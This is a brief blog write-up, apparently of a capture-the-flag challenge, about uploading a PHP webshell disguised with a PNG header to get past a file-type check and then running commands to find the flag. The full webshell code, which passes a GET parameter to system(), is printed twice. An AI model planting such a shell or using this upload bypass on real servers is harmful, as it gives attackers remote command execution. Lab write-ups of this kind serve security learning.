Skip to main content

Command Palette

Search for a command to run...

Trickster (ft phpWebshell)

Published
•1 min read•View as Markdown
S

Native Android Developer and content creator

this is a interesting one I visited robots.txt first

checked the instructions.txt which said it only supports PNG file and also I checked for uploads the permission of which was denied

then I tried searching for a simple php webshell

and got something like this

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>
</pre>
</body>
</html>

then I added one PNG header

PNG // <------------to ensure the file can be uploaded
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>
</pre>
</body>
</html>

it was successfully uploaded

now my task was to open the file which can be opened by <url>/uploads/file.png.php and finally got this

now It was a shell where I could execute commands so after few searching I got

where in the GQ4… file the flag was there